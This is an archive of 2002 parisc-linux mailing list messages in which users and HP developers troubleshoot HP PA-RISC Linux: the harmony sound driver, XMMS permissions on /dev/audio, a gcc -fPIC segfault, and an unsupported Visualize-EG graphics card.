Yes. You need the harmony driver, which was recently added to defconfig and 
should be in recent pre-build kernels ftp site and kernel-image packages in 
the Debian archive.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:21:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc (g++) problem
Date: Tue, 26 Feb 2002 16:13:10 -0800 (PST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0202261612360.6941-100000@eiger.apptechsys.com>
References: <200202260425.g1Q4PYOJ001214@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621110 3932 80.91.229.3 (22 Nov 2014 01:51:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:50 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 17:13:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 595044856
	for <parisc-linux@parisc-linux.org>; Tue, 26 Feb 2002 17:13:24 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 29DA67BC4B; Tue, 26 Feb 2002 16:13:10 -0800 (PST)
In-Reply-To: <200202260425.g1Q4PYOJ001214@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14189

Cool.  Seems to work OK on the test, now to try it on the real thing...


On Mon, 25 Feb 2002, John David Anglin wrote:

> > Here's the problem.  This program segfaults when compiled with -fPIC, as
> > required to build a .so.  It is fine when compiled without -fPIC.  It is
> > also fine on intel platform with both.  Is there something wrong with the
> > code that I'm not seeing, or is this a compiler bug?  I have tried this
> > with gcc-3 on an intel box, and it is fine, so I assume it is this port?
>
> It's probably a compiler bug.  The code works ok with my 3.1 test version.
> I think the problem may be the restoration of the pic offset table register
> after function calls.
>
> Suggest trying the debian 3.1 prerelease build.  Search the list to find
> how to get it.
>
> Dave
>

-- 
QOTD:
	 "It's not the despair... I can stand the despair.  It's the hope."




From - Thu Nov 08 21:21:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound
Date: Tue, 26 Feb 2002 17:18:50 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20020227001850.7F31A37CF5@carmen.fc.hp.com>
References: <Pine.NEB.4.33.0202160643280.23380-100000@www2.scram.de> 
 <001101c1bf16$8bc14750$0801a8c0@epsilon> <20020226225653.616C437CF5@carmen.fc.hp.com>  <001101c1bf1b$6205bd10$0801a8c0@epsilon>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621111 3935 80.91.229.3 (22 Nov 2014 01:51:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Tilo Jandt" <tilo@jandt-online.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 17:18:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50E38485E
	for <parisc-linux@parisc-linux.org>; Tue, 26 Feb 2002 17:18:57 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 335A48051AF; Tue, 26 Feb 2002 19:18:54 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 7F31A37CF5; Tue, 26 Feb 2002 17:18:50 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Wed, 27 Feb 2002 00:14:46 +0100."
             <001101c1bf1b$6205bd10$0801a8c0@epsilon> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14190

cc'd to the list...

"Tilo Jandt" writes...

> I've got Kernel 2.4.17-pa27.
> How do I install the harmony driver? I'm not so skilled with Debian HPPA and
> don't know what to do.

You need to enable CONFIG_SOUND_HARMONY in the kernel config when you build a 
kernel. If you're using a prebuilt kernel from the ftp site the tarball 
contains the config file it was built with. If you are using

ftp://ftp.parisc-linux.org/kernels/32/32-2.4.17-pa27.tar.gz

that kernel contains the harmony driver and it should just work. I've used 
xmms and mpg321 and they work great.

Good luck,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:21:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Jandt <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound
Date: Wed, 27 Feb 2002 01:55:56 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <E16fsNw-0005tU-00@mrvdom00.kundenserver.de>
Reply-To: Tilo Jandt <tilo@jandt-online.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-+M6WVD3adYYDoOCUSBeq"
X-Trace: ger.gmane.org 1416621111 3937 80.91.229.3 (22 Nov 2014 01:51:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 17:56:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from moutvdomng1.kundenserver.de (moutvdomng1.kundenserver.de [212.227.126.181])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8F5E4868
	for <parisc-linux@parisc-linux.org>; Tue, 26 Feb 2002 17:56:05 -0700 (MST)
Original-Received: from [195.20.224.204] (helo=mrvdom00.kundenserver.de)
	by moutvdomng1.kundenserver.de with esmtp (Exim 3.22 #2)
	id 16fsNw-00010k-00; Wed, 27 Feb 2002 01:55:56 +0100
Original-Received: from [80.136.168.52] (helo=beta)
	by mrvdom00.kundenserver.de with smtp (Exim 2.12 #2)
	id 16fsNw-0005tU-00; Wed, 27 Feb 2002 01:55:56 +0100
X-Mailer: Gmail 0.7.5 (http://gmail.linuxpower.org)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14191

This is a multi-part message in MIME format.

--=-+M6WVD3adYYDoOCUSBeq
Content-Type: text/plain
Content-Id: 1

> ftp://ftp.parisc-linux.org/kernels/32/32-2.4.17-pa27.tar.gz
> 
> that kernel contains the harmony driver and it should just work.
Yes I use this Kernel.

> I've used xmms and mpg321 and they work great.
But if I start XMMS and wanna play an MP3 I get an Error Message:
Please check that:
1. You have the correct output plugin selected (use eSoundOutput Plugin or OSS Driver both don't work)
2. No other programs is blocking the soundcard ( I don't know if others use the soundcard but I don't know)
3. Your soundcard is configured properly (I don't know can I get Information whether the soundcard is configured right or not?)

cya,
Tilo


--=-+M6WVD3adYYDoOCUSBeq--




From - Thu Nov 08 21:21:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound
Date: Tue, 26 Feb 2002 18:05:34 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20020227010534.26B3337CF5@carmen.fc.hp.com>
References: <E16fsNw-0005tU-00@mrvdom00.kundenserver.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621111 3939 80.91.229.3 (22 Nov 2014 01:51:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Tilo Jandt <tilo@jandt-online.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 18:05:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4D0D486C
	for <parisc-linux@parisc-linux.org>; Tue, 26 Feb 2002 18:05:37 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 6EF16A007F4; Tue, 26 Feb 2002 20:05:34 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 26B3337CF5; Tue, 26 Feb 2002 18:05:34 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Tilo Jandt <tilo@jandt-online.net> 
   of "Wed, 27 Feb 2002 01:55:56 +0100." <E16fsNw-0005tU-00@mrvdom00.kundenserver.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14192

Tilo Jandt writes...

> Yes I use this Kernel.

Good.

> > I've used xmms and mpg321 and they work great.
> But if I start XMMS and wanna play an MP3 I get an Error Message:
> Please check that:
> 1. You have the correct output plugin selected (use eSoundOutput Plugin or OS
> S Driver both don't work)
> 2. No other programs is blocking the soundcard ( I don't know if others use t
> he soundcard but I don't know)
> 3. Your soundcard is configured properly (I don't know can I get Information 
> whether the soundcard is configured right or not?)

This is more of a general audio question at this point. You might want to test 
that the card is working by cat'ing a .au file to /dev/audio. Also, try the 
oss and esound plugins.

Good luck,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:21:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Jandt <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound
Date: Wed, 27 Feb 2002 02:23:47 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <E16fsot-0003Gw-00@mrvdomng0.kundenserver.de>
Reply-To: Tilo Jandt <tilo@jandt-online.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-ssXSKpgNKIhj8wxhkS8H"
X-Trace: ger.gmane.org 1416621112 3940 80.91.229.3 (22 Nov 2014 01:51:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:52 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 18:24:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7260E4871
	for <parisc-linux@parisc-linux.org>; Tue, 26 Feb 2002 18:24:34 -0700 (MST)
Original-Received: from [172.19.20.61] (helo=mrvdomng0.kundenserver.de)
	by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2)
	id 16fsot-00051v-00; Wed, 27 Feb 2002 02:23:47 +0100
Original-Received: from [80.136.168.52] (helo=beta)
	by mrvdomng0.kundenserver.de with smtp (Exim 3.22 #2)
	id 16fsot-0003Gw-00; Wed, 27 Feb 2002 02:23:47 +0100
X-Mailer: Gmail 0.7.5 (http://gmail.linuxpower.org)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14193

This is a multi-part message in MIME format.

--=-ssXSKpgNKIhj8wxhkS8H
Content-Type: text/plain
Content-Id: 1

> This is more of a general audio question at this point. You might want to test
> that the card is working by cat'ing a .au file to /dev/audio.

I did so an I can hear the sound by cat'ing it to /dev/audio or /dev/dsp

> Also, try the oss and esound plugins.

I tried both an changed the preferences to /dev/audio nstead of /dev/dsp but it doesn't work at all.


> Good luck,

Thanx :)


--=-ssXSKpgNKIhj8wxhkS8H--




From - Thu Nov 08 21:21:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Jandt <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound
Date: Wed, 27 Feb 2002 03:02:24 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <E16ftQF-0004We-00@mrvdomng0.kundenserver.de>
Reply-To: Tilo Jandt <tilo@jandt-online.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-MkG8DpH9LR68cHfSvtyY"
X-Trace: ger.gmane.org 1416621112 3942 80.91.229.3 (22 Nov 2014 01:51:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:52 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 19:02:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from moutvdomng1.kundenserver.de (moutvdomng1.kundenserver.de [212.227.126.181])
	by dsl2.external.hp.com (Postfix) with ESMTP id 927144853
	for <parisc-linux@parisc-linux.org>; Tue, 26 Feb 2002 19:02:25 -0700 (MST)
Original-Received: from [212.227.126.161] (helo=mrvdomng0.kundenserver.de)
	by moutvdomng1.kundenserver.de with esmtp (Exim 3.22 #2)
	id 16ftQG-000508-00; Wed, 27 Feb 2002 03:02:24 +0100
Original-Received: from [80.136.168.52] (helo=beta)
	by mrvdomng0.kundenserver.de with smtp (Exim 3.22 #2)
	id 16ftQF-0004We-00; Wed, 27 Feb 2002 03:02:24 +0100
X-Mailer: Gmail 0.7.5 (http://gmail.linuxpower.org)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14194

This is a multi-part message in MIME format.

--=-MkG8DpH9LR68cHfSvtyY
Content-Type: text/plain
Content-Id: 1

Okay,

I found the problem. Because my "normal" user doesn't have permission to write to /dev/audio
now it works fine.
Thanks for all help.

cya,
Tilo


--=-MkG8DpH9LR68cHfSvtyY--




From - Thu Nov 08 21:21:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: hplinux@eagle.grdl.noaa.gov
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC 0.9.3 + C200 + Visualize-EG = HPMC
Date: Wed, 27 Feb 2002 12:03:24 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <3C7D115C.9AEE5DDB@eagle.grdl.noaa.gov>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621112 3949 80.91.229.3 (22 Nov 2014 01:51:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 27 10:03:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from eagle.grdl.noaa.gov (eagle.grdl.noaa.gov [140.90.158.128])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCA59482A
	for <parisc-linux@parisc-linux.org>; Wed, 27 Feb 2002 10:03:26 -0700 (MST)
Original-Received: from eagle.grdl.noaa.gov (eagle [140.90.158.128])
	by eagle.grdl.noaa.gov (8.9.3 (PHNE_25183)/8.9.3) with ESMTP id MAA01630
	for <parisc-linux@parisc-linux.org>; Wed, 27 Feb 2002 12:03:24 -0500 (EST)
X-Mailer: Mozilla 4.78 [en] (X11; U; HP-UX B.10.20 9000/782)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14195

Hello PA-RISC list,

I have successfully installed Debian 3.0/PA-RISC-Linux 0.9.3, on an
HP-9000
C200, but cannot get X working to save me. Following earlier posts to
this list
I made sure that only one screen resolution was specified in my
XF86Config-4
file (1280x1024-8, matching the stifb settings for the console) and
checked
it via "fbset -i". 

The graphics card on my C200 is a Visualize-EG (A4450A) which is, I
believe, a GSC vs. PCI card. In any case, trying to start X blanks the
screen, then a few seconds later I get a High Priority Machine Check
error as the workstation locks up. Any insights or workarounds most
appreciated!

Thanks,
John

P.S. I tried a newer kernel, 2.4.17, to no avail.



From - Thu Nov 08 21:21:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC 0.9.3 + C200 + Visualize-EG = HPMC
Date: Wed, 27 Feb 2002 17:19:40 +0000 (GMT)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0202271717330.15229-100000@sal.ucc.ie>
References: <3C7D115C.9AEE5DDB@eagle.grdl.noaa.gov>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621113 3950 80.91.229.3 (22 Nov 2014 01:51:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: hplinux@eagle.grdl.noaa.gov
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 27 10:21:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB6AA4849
	for <parisc-linux@parisc-linux.org>; Wed, 27 Feb 2002 10:21:28 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id RAA26054;
	Wed, 27 Feb 2002 17:22:42 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3C7D115C.9AEE5DDB@eagle.grdl.noaa.gov>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14196

On Wed, 27 Feb 2002 hplinux@eagle.grdl.noaa.gov wrote:

> Hello PA-RISC list,
>
> I have successfully installed Debian 3.0/PA-RISC-Linux 0.9.3, on an
> HP-9000
> C200, but cannot get X working to save me. Following earlier posts to
> this list
> I made sure that only one screen resolution was specified in my
> XF86Config-4
> file (1280x1024-8, matching the stifb settings for the console) and
> checked
> it via "fbset -i".

so far so good ...

> The graphics card on my C200 is a Visualize-EG (A4450A) which is, I
> believe, a GSC vs. PCI card. In any case, trying to start X blanks the
> screen, then a few seconds later I get a High Priority Machine Check
> error as the workstation locks up. Any insights or workarounds most
> appreciated!

that's the problem!
I have a C240 with the same graphics card. It is (still) unsupported.
You have to wait until s.o. develops a working driver (or implement
it by yourself)

sorry.

> Thanks,
> John
>
> P.S. I tried a newer kernel, 2.4.17, to no avail.

greetings max




From - Thu Nov 08 21:21:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC 0.9.3 + C200 + Visualize-EG = HPMC
Date: Wed, 27 Feb 2002 10:28:44 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20020227172844.2534F485A@dsl2.external.hp.com>
References: <3C7D115C.9AEE5DDB@eagle.grdl.noaa.gov>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621113 3957 80.91.229.3 (22 Nov 2014 01:51:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, grundler@dsl2.external.hp.com
To: hplinux@eagle.grdl.noaa.gov
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 27 10:28:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 2534F485A; Wed, 27 Feb 2002 10:28:44 -0700 (MST)
In-Reply-To: Message from hplinux@eagle.grdl.noaa.gov 
   of "Wed, 27 Feb 2002 12:03:24 EST." <3C7D115C.9AEE5DDB@eagle.grdl.noaa.gov> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14197

hplinux@eagle.grdl.noaa.gov wrote:
> The graphics card on my C200 is a Visualize-EG (A4450A) which is, I
